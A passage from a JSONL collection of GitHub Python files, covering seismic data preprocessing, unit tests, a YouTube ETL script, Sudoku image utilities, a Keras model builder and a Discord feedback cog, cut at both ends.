i)\n out_file = filename.replace(in_dir, out_dir)\n if not os.path.exists(out_file):\n data = read_hdf5(filename)\n if data is not None:\n data = data.T\n os.makedirs(os.path.dirname(out_file), exist_ok=True)\n write_hdf5(out_file, data)\n\n\ndef main():\n datatype = 'seismometer'\n datapath = os.path.join(parameters.raw_datapath, datatype)\n file_pattern = os.path.join(datapath, '*/*/*')\n process_windows(\n file_pattern,\n in_dir=parameters.raw_datapath,\n out_dir=parameters.processed_datapath,\n raw_window=parameters.raw_window_length,\n detect_window=parameters.detect_window_length,\n event_duration=parameters.event_duration,\n low_freq=parameters.low_freq,\n high_freq=parameters.high_freq,\n dt=parameters.seismometer_dt,\n q=parameters.seismometer_downsampling_factor,\n )\n file_pattern = os.path.join(datapath, 'continuous/*')\n process_continuous(\n file_pattern,\n in_dir=parameters.raw_datapath,\n out_dir=parameters.processed_datapath,\n raw_window=parameters.continuous_window,\n low_freq=parameters.low_freq,\n high_freq=parameters.high_freq,\n dt=parameters.seismometer_dt,\n q=parameters.seismometer_downsampling_factor,\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"fantine/earthquake-detection-ml","sub_path":"preprocessing/process_seismometer.py","file_name":"process_seismometer.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"}
+{"seq_id":"34755579320","text":"from unittest.mock import MagicMock, patch\n\nimport numpy as np\nimport pandas as pd\n\nfrom sm.engine.postprocessing.colocalization import (\n analyze_colocalization,\n Colocalization,\n FreeableRef,\n)\nfrom sm.engine.db import DB\nfrom .utils import create_test_molecular_db, create_test_ds\n\n\ndef test_valid_colocalization_jobs_generated():\n ion_images = FreeableRef(np.array([np.linspace(0, 50, 50, False) % (i + 2) for i in range(20)]))\n ion_ids = np.array(range(20)) * 4\n fdrs = np.array([[0.05, 0.1, 0.2, 0.5][i % 4] for i in range(20)])\n\n jobs = list(analyze_colocalization('ds_id', 'HMDB_v4', ion_images, ion_ids, fdrs, 5, 10))\n\n assert len(jobs) > 1\n assert not any(job.error for job in jobs)\n sample_job = [job for job in jobs if job.fdr == 0.2 and job.algorithm_name == 'cosine'][0]\n assert len(sample_job.sample_ion_ids) > 0\n assert len(sample_job.coloc_annotations) == 15\n assert (\n len(sample_job.coloc_annotations[0][1]) > 0\n ) # First annotation was colocalized with at least one other\n\n\ndef mock_get_ion_images_for_analysis(ds_id, img_ids, **kwargs):\n images = (\n np.array(\n [np.linspace(0, 25, 25, False) % ((seed or 1) % 25) for seed in range(len(img_ids))],\n dtype=np.float32,\n )\n / 25\n )\n mask = (np.linspace(0, 25, 25, False).reshape((5, 5)) % 4 == 1) / 25\n return images, mask, (5, 5)\n\n\ndef test_new_ds_saves_to_db(test_db, metadata, ds_config):\n db = DB()\n moldb = create_test_molecular_db()\n ds_config['database_ids'] = [moldb.id]\n ds = create_test_ds(config={**ds_config, 'database_ids': [moldb.id]})\n\n ion_metrics_df = pd.DataFrame(\n {\n 'formula': ['H2O', 'H2O', 'CO2', 'CO2', 'H2SO4', 'H2SO4'],\n 'adduct': ['+H', '[M]+', '+H', '[M]+', '+H', '[M]+'],\n 'fdr': [0.05, 0.1, 0.05, 0.1, 0.05, 0.1],\n 'image_id': list(map(str, range(6))),\n }\n )\n (job_id,) = db.insert_return(\n \"INSERT INTO job (moldb_id, ds_id, status) VALUES (%s, %s, 'FINISHED') RETURNING id\",\n rows=[(moldb.id, ds.id)],\n )\n db.insert(\n 'INSERT INTO annotation('\n ' job_id, formula, chem_mod, neutral_loss, adduct, msm, fdr, stats, iso_image_ids'\n ') '\n \"VALUES (%s, %s, '', '', %s, 1, %s, '{}', %s)\",\n [(job_id, r.formula, r.adduct, r.fdr, [r.image_id]) for i, r in ion_metrics_df.iterrows()],\n )\n\n with patch(\n 'sm.engine.postprocessing.colocalization.ImageStorage.get_ion_images_for_analysis'\n ) as get_ion_images_for_analysis_mock:\n get_ion_images_for_analysis_mock.side_effect = mock_get_ion_images_for_analysis\n\n Colocalization(db).run_coloc_job(ds)\n\n jobs = db.select('SELECT id, error, sample_ion_ids FROM graphql.coloc_job')\n annotations = db.select('SELECT coloc_ion_ids, coloc_coeffs FROM graphql.coloc_annotation')\n ions = db.select('SELECT id FROM graphql.ion')\n\n assert len(jobs) > 0\n assert not any(job[1] for job in jobs)\n assert jobs[0][2]\n assert len(annotations) > 10\n assert all(len(ann[0]) == len(ann[1]) for ann in annotations)\n assert len(ions) == len(ion_metrics_df)\n","repo_name":"metaspace2020/metaspace","sub_path":"metaspace/engine/tests/test_colocalization.py","file_name":"test_colocalization.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"72"}
+{"seq_id":"139518669","text":"# coding: utf-8\n\nfrom __future__ import division, absolute_import, print_function, unicode_literals\nimport pytest\nimport yaml\nfrom six import text_type\nfrom statface_client import StatfaceReportConfig\nfrom statface_client import StatfaceReportConfigError\n\n\ndef test_report_api_version():\n from statface_client import StatfaceClient\n client = StatfaceClient(\n client_config={\n 'username': 'robot_fake_robot_user',\n 'password': 'fake_robot_password',\n 'host': 'upload.stat.yandex-team.ru',\n },\n _no_excess_calls=True\n )\n r = client.get_report('Adhoc/Adhoc/MyOwnReport2')\n assert r.report_api_version == 'api'\n assert r._api._report_api_prefix == '_api/report/'\n r.report_api_version = 'v4'\n assert r.report_api_version == 'v4'\n assert r._api._report_api_prefix == '_v4/report/'\n\n\ndef test_base_functional():\n config = StatfaceReportConfig()\n config.title = 'заголовок'\n config.dimensions = config._fields_to_ordered_dict([{'fielddate': 'date'}])\n assert config.is_valid\n config.check_valid()\n etalon_config_dict = {\n 'title': 'заголовок',\n 'user_config': {\n 'dimensions': [{'fielddate': 'date'}],\n 'measures': []\n }\n }\n assert config.to_dict() == etalon_config_dict\n\n config_two = StatfaceReportConfig(title='другой заголовок')\n assert not config_two.is_valid\n config_two.update_from_dict(etalon_config_dict)\n assert config_two.to_dict() == etalon_config_dict\n assert repr(config_two) == repr(config)\n\n\ndef test_from_failed_dict():\n crazy_dict = {\n 'lalala': 'pampampam',\n 'title': '123'\n }\n config = StatfaceReportConfig()\n with pytest.raises(StatfaceReportConfigError):\n config.update_from_dict(crazy_dict)\n crazy_dict_two = {\n 'dimensions': '',\n 'measures': ''\n }\n with pytest.raises(StatfaceReportConfigError):\n config.update_from_dict(crazy_dict_two)\n\n\ndef test_yaml(config_yaml):\n yaml_file = config_yaml\n assert isinstance(yaml.safe_load(yaml_file), dict)\n config = StatfaceReportConfig()\n config.update_from_yaml(yaml_file)\n new_config = StatfaceReportConfig()\n dumped_config = config.to_yaml()\n assert isinstance(yaml.load(dumped_config), dict)\n config = StatfaceReportConfig()\n new_config.update_from_yaml(dumped_config)\n assert new_config.to_yaml() == dumped_config\n\n\ndef test_extra_parameters():\n etalon_dict_content = {\n 'title': 'sdfsd',\n 'extra': 'sdfsdfsdfs',\n 'dimensions': [\n {'fielddate': 'date'}\n ],\n }\n\n etalon_dict = {\n 'title': etalon_dict_content['title'],\n 'user_config': {\n 'dimensions': etalon_dict_content['dimensions'],\n 'measures': [],\n 'extra': etalon_dict_content['extra']\n }\n }\n\n config = StatfaceReportConfig(**etalon_dict_content)\n assert config.to_dict() == etalon_dict\n\n\ndef test_buggy_yaml(buggy_yaml): # pylint: disable=redefined-outer-name\n config = StatfaceReportConfig()\n with pytest.raises(StatfaceReportConfigError):\n config.update_from_yaml(buggy_yaml)\n\n\ndef test_yaml_passthrough(user_config_yaml): # pylint: disable=redefined-outer-name\n user_config_yaml_text = (\n user_config_yaml.decode('utf-8') if isinstance(user_config_yaml, bytes)\n else user_config_yaml)\n title = u\"Отчёт с YAML-конфигом\"\n\n config = StatfaceReportConfig(title=title, user_config=user_config_yaml)\n assert config.user_config_yaml() == user_config_yaml_text\n config.title = 'other title'\n assert config.user_config_yaml() == user_config_yaml_text\n config.measures['m3'] = 'number'\n new_yaml = config.user_config_yaml()\n assert isinstance(new_yaml, text_type)\n assert new_yaml != user_config_yaml_text\n\n # The reverse check:\n unsourced_config = StatfaceReportConfig(\n title=title, user_config=yaml.safe_load(user_config_yaml))\n assert unsourced_config.user_config_yaml() != user_config_yaml_text\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"library/tests/common/test_report_config.py","file_name":"test_report_config.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"25631446237","text":"# if you run 10 km in 43 min 30 sec? avg time per mile? avg speed in mph\r\ndk = 10.0\r\ndm = (dk/1.61)\r\nrealdm = (dm)\r\n#avg time per mile\r\nTKM = (43.5/dk)\r\nTM = (43.5/dm)\r\nprint (\"time for 1KM:\", TKM )\r\nprint (\"time for 1M:\", TM )\r\nprint(\"Total KM to M:\", dm)\r\n#avg mile per hour\r\nMPH = (60.0/TM)\r\nprint (\"average speed in M:\", MPH)\r\n","repo_name":"v500nm/Python-Prac","sub_path":"practice with speed.py","file_name":"practice with speed.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"12060721815","text":"from itertools import count\nimport json\nimport glob\nimport logging\nfrom matplotlib.pyplot import get\nimport pandas as pd\nfrom rich.progress import track\n\nfrom utils import get_db\nfrom config import Countries\n\n\nclass ETL:\n def __init__(self, config):\n self.path = config[\"data_dir\"]\n self.db = get_db(\n username=config[\"mongodb_username\"],\n password=config[\"mongodb_password\"],\n host=config[\"mongodb_host\"],\n port=config[\"mongodb_port\"],\n )\n\n def download(self, force=False):\n from kaggle import api\n\n if glob.glob(f\"{self.path}/*_youtube_trending_data.csv\") or not force:\n logging.info(\"Data already exists, skipping\")\n return\n\n logging.info(\"Downloading dataset from kaggle\")\n api.authenticate()\n api.dataset_download_files(\n \"rsrishav/youtube-trending-video-dataset\", path=self.path, unzip=True\n )\n\n @property\n def countries(self):\n countries = [\n item.split(\"/\")[-1].split(\"_\")[0]\n for item in glob.glob(f\"{self.path}/*_youtube_trending_data.csv\")\n ]\n countries.sort()\n return countries\n\n def data(self, country):\n data = pd.read_csv(f\"{self.path}/{country}_youtube_trending_data.csv\")\n columns = {\n \"video_id\": \"video_id\",\n \"title\": \"title\",\n \"publishedAt\": \"published_at\",\n \"channelId\": \"channel_id\",\n \"channelTitle\": \"channel_title\",\n \"categoryId\": \"category_id\",\n \"trending_date\": \"trending_date\",\n \"tags\": \"tags\",\n \"view_count\": \"view_count\",\n \"likes\": \"likes\",\n \"dislikes\": \"dislikes\",\n \"comment_count\": \"comment_count\",\n \"thumbnail_link\": \"thumbnail_link\",\n \"comments_disabled\": \"comments_disabled\",\n \"ratings_disabled\": \"ratings_disabled\",\n \"description\": \"description\",\n }\n data = data.rename(columns=columns)\n\n return data\n\n def categories(self, country):\n # all dataset except for US are missing categoryId 29\n # so we are taking US as base for all\n with open(f\"{self.path}/US_category_id.json\") as file:\n raw_data = json.load(file)[\"items\"]\n data = {int(item[\"id\"]): item[\"snippet\"][\"title\"] for item in raw_data}\n\n return pd.DataFrame(\n data={\n \"id\": list(data.keys()),\n \"name\": list(data.values()),\n }\n )\n\n def clean(self, data):\n data = data.drop_duplicates([\"video_id\"], keep=\"last\")\n\n # remove unused columns\n unused_columns = [\"thumbnail_link\", \"description\"]\n data = data.drop(unused_columns, axis=1)\n\n return data\n\n def run(self):\n collection_countries = self.db[\"countries\"]\n collection_countries.drop()\n\n for country in track(self.countries, description=\"Processing...\"):\n # add country to countries collection\n collection_countries.insert_one(\n {\"code\": country, \"name\": getattr(Countries, country)}\n )\n\n # get data\n df = self.data(country)\n categories_df = self.categories(country)\n\n logging.debug(\n f\"Country {country} has {len(df)} rows and {len(categories_df)} categories\"\n )\n\n # remove categories with no data\n current_categories = df.category_id.unique()\n current_categories.sort()\n categories_df = categories_df[categories_df[\"id\"].isin(current_categories)]\n\n logging.debug(f\"{len(categories_df)} categories after cleaning\")\n\n df = self.clean(data=df)\n\n df.category_id = df.category_id.map(\n lambda id: categories_df[categories_df.id == id].name.values[0]\n )\n df = df.rename(columns={\"category_id\": \"category\"})\n\n logging.debug(f\"{len(df)} rows after cleaning\")\n\n collection = self.db[country.lower()]\n collection.drop()\n\n collection.insert_many(df.to_dict(orient=\"records\"))\n logging.debug(\n f\"{collection.count_documents({})} records added to collection {country.lower()}\"\n )\n","repo_name":"sajalshres/youtube-trends","sub_path":"cli/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"74391610154","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, IntegerField, BooleanField\nfrom wtforms.fields.html5 import URLField\nfrom wtforms.validators import InputRequired, Optional, URL, NumberRange, AnyOf\n\nclass PetForm(FlaskForm):\n \"\"\"Form for adding a new pet.\"\"\"\n\n name = StringField(\"Pet Name\",\n validators = [InputRequired(message=\"Required\")])\n\n species = StringField(\"Species\",\n validators = [InputRequired(message=\"Required\"), AnyOf(values=[\"cat\", \"dog\", \"porcupine\"], message=\"Must be cat, dog, or porcupine\")])\n\n photo_url = URLField(\"Image URL\",\n validators = [Optional(), URL(message=\"Must be valid URL\")])\n\n age = IntegerField(\"Age\",\n validators = [Optional(), NumberRange(min=0, max=30, message=\"Age must be 0-30\")])\n\n notes = StringField(\"Notes\",\n validators = [Optional()])\n\n available = BooleanField(\"Available\")","repo_name":"bcdunn7/24-pet-adoption-agency","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10761879435","text":"import FWCore.ParameterSet.Config as cms\n\n\n\nlumiblockanalysis = cms.EDAnalyzer(\"LumiBlockAnalyzer\",\n runRangeList = cms.VPSet(cms.PSet(runrange=cms.untracked.vuint32(0,999999))),\n numEventsNames = cms.untracked.vstring('TotalEventCounter','AfterPVFilterCounter', 'AfterNSFilterCounter', 'AfterPATCounter', 'AfterCandidatesCounter', 'AfterJetsCounter'),\n LumiSummaryTag = cms.untracked.string('lumiProducer::RECO')\n )\n\n\n\n","repo_name":"mmusich/usercode","sub_path":"ZbbAnalysis/AnalysisStep/python/lumiblockanalyzer_cfi.py","file_name":"lumiblockanalyzer_cfi.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"70741848874","text":"\"\"\"\n037 TLE(5sec)\n\"\"\"\n\nw, n = map(int, input().split())\nlrv = [list(map(int, input().split())) for _ in range(n)]\n\n# dp[i][j]: i番目まででj[mg]使うときの最大価値\ndp = [[0] * (w + 1) for _ in range(n + 1)]\nl, r, v = lrv[0]\nfor j in range(l, r + 1):\n dp[1][j] = v\n\nfor i in range(2, n + 1):\n l, r, v = lrv[i - 1]\n ras = [[l, r, 0]]\n bef_v = -1\n st, ed = -1, -1\n for j in range(w + 1):\n dp[i][j] = dp[i - 1][j] # i番目を作らない場合\n\n if dp[i - 1][j] > 0 and st == -1 and ed == -1:\n st = j # 開始地点\n elif dp[i - 1][j] != bef_v and st != -1 and ed == -1:\n ed = j - 1 # 終了地点\n if st + l <= w:\n ras.append([st + l, min(w, ed + r), bef_v])\n st, ed = -1, -1\n if dp[i - 1][j] > 0:\n st = j\n bef_v = dp[i - 1][j]\n if st != -1 and ed == -1:\n if st + l <= w:\n ras.append([st + l, w, bef_v])\n\n for bl, br, bv in ras:\n for j in range(bl, br + 1):\n # i番目を作る場合\n dp[i][j] = max(dp[i][j], bv + v)\n\nans = dp[n][w]\nprint(ans if ans > 0 else -1)","repo_name":"ymsk-sky/atcoder_part3","sub_path":"typical90/037_DontLeavetheSpice.py","file_name":"037_DontLeavetheSpice.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"37275665469","text":"from typing import Optional, List, Dict, Any\n\nfrom prl.environment.steinberger.PokerRL import NoLimitHoldem\nfrom prl.environment.Wrappers.prl_wrappers import AugmentObservationWrapper, AgentObservationType\n\n\nclass EnvironmentRegistry:\n def __init__(self):\n self._num_active_environments = 0\n self.active_ens: Optional[Dict[int, Any]] = {}\n self.metadata: Optional[Dict[int, Dict]] = {}\n\n def add_environment(self, config: dict):\n self._num_active_environments += 1\n env_id = self._num_active_environments\n num_players = config['n_players']\n starting_stack_sizes = [config['starting_stack_size'] for _ in range(num_players)]\n args = NoLimitHoldem.ARGS_CLS(n_seats=num_players,\n starting_stack_sizes_list=starting_stack_sizes,\n use_simplified_headsup_obs=False)\n env = NoLimitHoldem(is_evaluating=True,\n env_args=args,\n lut_holder=NoLimitHoldem.get_lut_holder())\n env_wrapped = AugmentObservationWrapper(env)\n env_wrapped.set_agent_observation_mode(AgentObservationType.SEER)\n self.active_ens[env_id] = env_wrapped\n self.metadata[env_id] = {'initial_state': True}\n return env_id\n","repo_name":"hellovertex/prl_api","sub_path":"prl/api/environment_registry.py","file_name":"environment_registry.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"70703955752","text":"import cv2 as cv\nimport numpy as np\nfrom keras.models import load_model\n\n\ndef intializePredectionModel():\n model = load_model('myModel.h5')\n return model\n\n\ndef biggestContour(contours):\n biggest = np.array([])\n max_area = 0\n for i in contours:\n area = cv.contourArea(i)\n if area > 50:\n peri = cv.arcLength(i, True)\n approx = cv.approxPolyDP(i, 0.02 * peri, True)\n if area > max_area and len(approx) == 4:\n biggest = approx\n max_area = area\n return biggest,max_area\n\ndef reorder(mypoints):\n mypoints = mypoints.reshape((4,2))\n mypointnew = np.zeros((4,1,2),dtype=np.int32)\n add = mypoints.sum(1)\n mypointnew[0] = mypoints[np.argmin(add)]\n mypointnew[3] = mypoints[np.argmax(add)]\n diff = np.diff(mypoints,axis=1)\n mypointnew[1] = mypoints[np.argmin(diff)]\n mypointnew[2] = mypoints[np.argmax(diff)]\n return mypointnew\n\ndef splitBoxes(img):\n rows = np.vsplit(img,9)\n boxes=[]\n for r in rows:\n cols= np.hsplit(r,9)\n for box in cols:\n boxes.append(box)\n return boxes\n\n\ndef sharp_mask(image, kernel_size=(5, 5), sigma=1.0, amount=1.0, threshold=0):\n \"\"\"Return a sharpened version of the image, using an unsharp mask.\"\"\"\n blurred = cv.GaussianBlur(image, kernel_size, sigma)\n sharpened = float(amount + 1) * image - float(amount) * blurred\n sharpened = np.maximum(sharpened, np.zeros(sharpened.shape))\n sharpened = np.minimum(sharpened, 255 * np.ones(sharpened.shape))\n sharpened = sharpened.round().astype(np.uint8)\n if threshold > 0:\n low_contrast_mask = np.absolute(image - blurred) < threshold\n np.copyto(sharpened, image, where=low_contrast_mask)\n return sharpened\n\ndef stackimages(images):\n result = []\n for image in images:\n if len(image.shape) < 3:\n img = cv.cvtColor(image,cv.COLOR_GRAY2BGR)\n img = cv.resize(img,(100,100))\n result.append(img)\n else :\n img = cv.resize(image,(100,100)) \n result.append(img)\n result = np.array(result)\n \ndef getPredection(boxes,model):\n result = []\n for image in boxes:\n ## PREPARE IMAGE\n img = np.asarray(image)\n img = img[4:img.shape[0] - 4, 4:img.shape[1] -4]\n img = cv.resize(img, (28, 28))\n img = img / 255\n img = img.reshape(1, 28, 28, 1)\n ## GET PREDICTION\n predictions = model.predict(img)\n classIndex = np.argmax(predictions)\n probabilityValue = np.amax(predictions)\n ## SAVE TO RESULT\n if probabilityValue > 0.7:\n result.append(classIndex)\n else:\n result.append(0)\n return result\n\n\ndef displayNumbers(img,numbers,color = (255,255,0)):\n secW = int(img.shape[1]/9)\n secH = int(img.shape[0]/9)\n for x in range (0,9):\n for y in range (0,9):\n if numbers[(y*9)+x] != 0 :\n cv.putText(img, str(numbers[(y*9)+x]),\n (x*secW+int(secW/2)-10, int((y+0.8)*secH)), cv.FONT_HERSHEY_COMPLEX_SMALL,\n 2, color, 2, cv.LINE_AA)\n return img\n\ndef preProcess(img):\n imgGray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) # CONVERT IMAGE TO GRAY SCALE\n imgBlur = cv.GaussianBlur(imgGray, (5, 5), 1) # ADD GAUSSIAN BLUR\n imgThreshold = cv.adaptiveThreshold(imgBlur, 255, 1, 1, 11, 2) # APPLY ADAPTIVE THRESHOLD\n return imgThreshold\n\n\ndef drawGrid(img):\n secW = int(img.shape[1]/9)\n secH = int(img.shape[0]/9)\n for i in range (0,9):\n pt1 = (0,secH*i)\n pt2 = (img.shape[1],secH*i)\n pt3 = (secW * i, 0)\n pt4 = (secW*i,img.shape[0])\n cv.line(img, pt1, pt2, (0, 255, 0),2)\n cv.line(img, pt3, pt4, (0, 255, 0),2)\n return img\n\ndef stackImages(imgArray,scale):\n rows = len(imgArray)\n cols = len(imgArray[0])\n rowsAvailable = isinstance(imgArray[0], list)\n width = imgArray[0][0].shape[1]//2\n height = imgArray[0][0].shape[0]//2\n if rowsAvailable:\n for x in range ( 0, rows):\n for y in range(0, cols):\n imgArray[x][y] = cv.resize(imgArray[x][y], (0, 0), None, scale, scale)\n if len(imgArray[x][y].shape) == 2: imgArray[x][y]= cv.cvtColor( imgArray[x][y], cv.COLOR_GRAY2BGR)\n imageBlank = np.zeros((height, width, 3), np.uint8)\n hor = [imageBlank]*rows\n hor_con = [imageBlank]*rows\n for x in range(0, rows):\n hor[x] = np.hstack(imgArray[x])\n hor_con[x] = np.concatenate(imgArray[x])\n ver = np.vstack(hor)\n ver_con = np.concatenate(hor)\n else:\n for x in range(0, rows):\n imgArray[x] = cv.resize(imgArray[x], (0, 0), None, scale, scale)\n if len(imgArray[x].shape) == 2: imgArray[x] = cv.cvtColor(imgArray[x], cv.COLOR_GRAY2BGR)\n hor= np.hstack(imgArray)\n hor_con= np.concatenate(imgArray)\n ver = hor\n return ver","repo_name":"silent-learner/SudokuSolver","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39632414819","text":"# Import required packages\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import BatchNormalization\nfrom tensorflow.keras.layers import Conv2D\nfrom tensorflow.keras.layers import MaxPooling2D\nfrom tensorflow.keras.layers import Activation\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras.layers import Dropout\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.layers import Dense\n\n\nclass VGGNet:\n @staticmethod\n def build(hp):\n # Initialize model and input shape\n model = Sequential()\n channelDimension = -1\n\n # Block1: CONV => RELU => CONV => RELU => POOL layer set\n model.add(Conv2D(32, (3, 3), padding=\"same\", input_shape=(180, 180, 3)))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(Conv2D(32, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n # Block2: CONV => RELU => CONV => RELU => POOL layer set\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n # Block3: CONV => RELU => CONV => RELU => POOL layer set\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(hp.Float('dropout1', 0.3, 0.5, step=0.1, default=0.5)))\n\n # First set of FC => RELU layers\n model.add(Flatten())\n model.add(Dense(hp.Int(\"dense_units\", min_value=256, max_value=768, step=256)))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization())\n model.add(Dropout(hp.Float('dropout2', 0.3, 0.5, step=0.1, default=0.5)))\n\n # Softmax classifier\n model.add(Dense(7))\n model.add(Activation(\"softmax\"))\n\n # initialize the learning rate choices and optimizer\n lr = hp.Choice(\"learning_rate\",\n values=[1e-1, 1e-2, 1e-3])\n opt = Adam(learning_rate=lr)\n # compile the model\n model.compile(optimizer=opt, loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])\n\n # Return the model\n return model\n","repo_name":"advait2000/Animal-Detection","sub_path":"HyperParameterTuning/Vggnet.py","file_name":"Vggnet.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"20299495197","text":"observedObjects = set()\n\n\ndef ultimateTree(objectIn, depth=float('inf')):\n global observedObjects\n tree = {}\n\n if depth == 0:\n return None\n\n for element in dir(objectIn):\n if depth <= 0:\n return None\n\n if element in observedObjects:\n tree[element] = None\n\n else:\n observedObjects.add(element)\n tree[element] = ultimateTree(getattr(objectIn, element), depth-1)\n\n return tree\n\n","repo_name":"capalmer1013/Introspective-Python-Nightmare","sub_path":"ultimateTree.py","file_name":"ultimateTree.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32068898782","text":"import discord\nfrom discord.ext import commands\nfrom discord.commands import slash_command\nfrom discord.commands import Option\nimport json #nicht nötig, wenn channel nicht über json gespeichert sind\n\nwith open(\"Channel.json\") as channel:#nur, wenn channel in json gespeichert werden\n channel = json.load(channel)\n\nfeedback = channel[\"feedback\"] #hier kommt die channel-ID des channels hin, in den Feedback/Beschwerden/Vorschläge gesendet werdn sollen\nvoting = channel[\"vorschläge\"] #hier kommt die forums-ID hin, wo die Vorschläge gepostet werden sollen\n\n\nclass Feedback(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n \n#slash-command mit 3 verschiedenen Optionen, aus denen der User auswählt\n @slash_command(description=\"Gib Feedback, reiche einen Vorschlag/Beschwerde ein\")\n async def feedback(self, ctx, art:Option(str, choices=[\"Feedback\", \"Vorschlag\", \"Beschwerde\"])):\n\n#Unterscheidung nach Feedback, Vorschlag und Beschwerde\n if art == \"Feedback\":\n modal = FeedbackModal(title=\"Teile dein Feedback\")\n await ctx.send_modal(modal)\n\n if art == \"Vorschlag\":\n modal = VorschlagModal(title=\"Reiche einen Vorschlag ein\")\n await ctx.send_modal(modal)\n\n if art == \"Beschwerde\":\n modal = BeschwerdeModal(title=\"Reiche eine Beschwerde ein\")\n await ctx.send_modal(modal)\n\n\n#Modal für Feedback\nclass FeedbackModal(discord.ui.Modal):\n def __init__(self, *args, **kwargs):\n super().__init__(\n discord.ui.InputText(\n label=\"Titel deines Feedbacks\",\n placeholder=\"Schreibe etwas...\",\n max_length=50\n ),\n discord.ui.InputText(\n label=\"Feedback\",\n placeholder=\"Schreibe etwas...\",\n style=discord.InputTextStyle.long,\n max_length=1000\n ),\n *args,\n **kwargs\n )\n\n async def callback(self, interaction):\n embed = discord.Embed(\n title=\"Feedback\",\n description=self.children[0].value,\n color=discord.Color.from_rgb(56, 165, 125)\n )\n Autor = f\"Name: {interaction.user.name}, <@{interaction.user.id}>\"\n embed.add_field(name=\"Feedback von: \", value=Autor, inline=False)\n embed.add_field(name=\"Beschreibung:\", value=self.children[1].value, inline=False)\n\n channel = interaction.guild.get_channel(feedback)\n await interaction.response.send_message(\"Alles klar, wir haben dein Feedback erhalten\", ephemeral=True)\n await channel.send(embed=embed)\n\n\n#Modal für Vorschläge\nclass VorschlagModal(discord.ui.Modal):\n def __init__(self, *args, **kwargs):\n super().__init__(\n discord.ui.InputText(\n label=\"Titel deines Vorschlags\",\n placeholder=\"Schreibe etwas...\",\n max_length=50\n\n ),\n discord.ui.InputText(\n label=\"Beschreibung\",\n placeholder=\"Schreibe etwas...\",\n style=discord.InputTextStyle.long,\n max_length=1000\n ),\n *args,\n **kwargs\n )\n\n async def callback(self, interaction):\n embed = discord.Embed(\n title=\"Vorschlag\",\n description=self.children[0].value,\n color=discord.Color.from_rgb(255, 255, 153)\n )\n\n Autor = f\"Name: {interaction.user.name}, <@{interaction.user.id}>\"\n embed.add_field(name=\"Vorschlag von: \", value=Autor, inline=False)\n embed.add_field(name=\"Beschreibung:\", value=self.children[1].value, inline=False)\n\n vorschlag = interaction.guild.get_channel(voting)\n vote = await vorschlag.create_thread(\n name=self.children[0].value,\n content=self.children[1].value\n )\n await vote.starting_message.add_reaction(emoji='👍')\n await vote.starting_message.add_reaction(emoji='👎')\n\n channel = interaction.guild.get_channel(feedback)\n await channel.send(embed=embed)\n await interaction.response.send_message(\"Alles klar, wir haben deinen Vorschlag erhalten\", ephemeral=True)\n\n\n#Modal für Beschwerden \nclass BeschwerdeModal(discord.ui.Modal):\n def __init__(self, *args, **kwargs):\n super().__init__(\n discord.ui.InputText(\n label=\"Titel deiner Beschwerde\",\n placeholder=\"Worum geht es?\",\n max_length=50\n ),\n discord.ui.InputText(\n label=\"Beschreibung\",\n placeholder=\"Schreibe etwas...\",\n style=discord.InputTextStyle.long,\n max_length=800\n\n ),\n discord.ui.InputText(\n label=\"Wie geht es weiter?\",\n placeholder=\"Was wünscht du dir? Wie können wir das Problem gemeinsam lösen?\",\n style=discord.InputTextStyle.long,\n 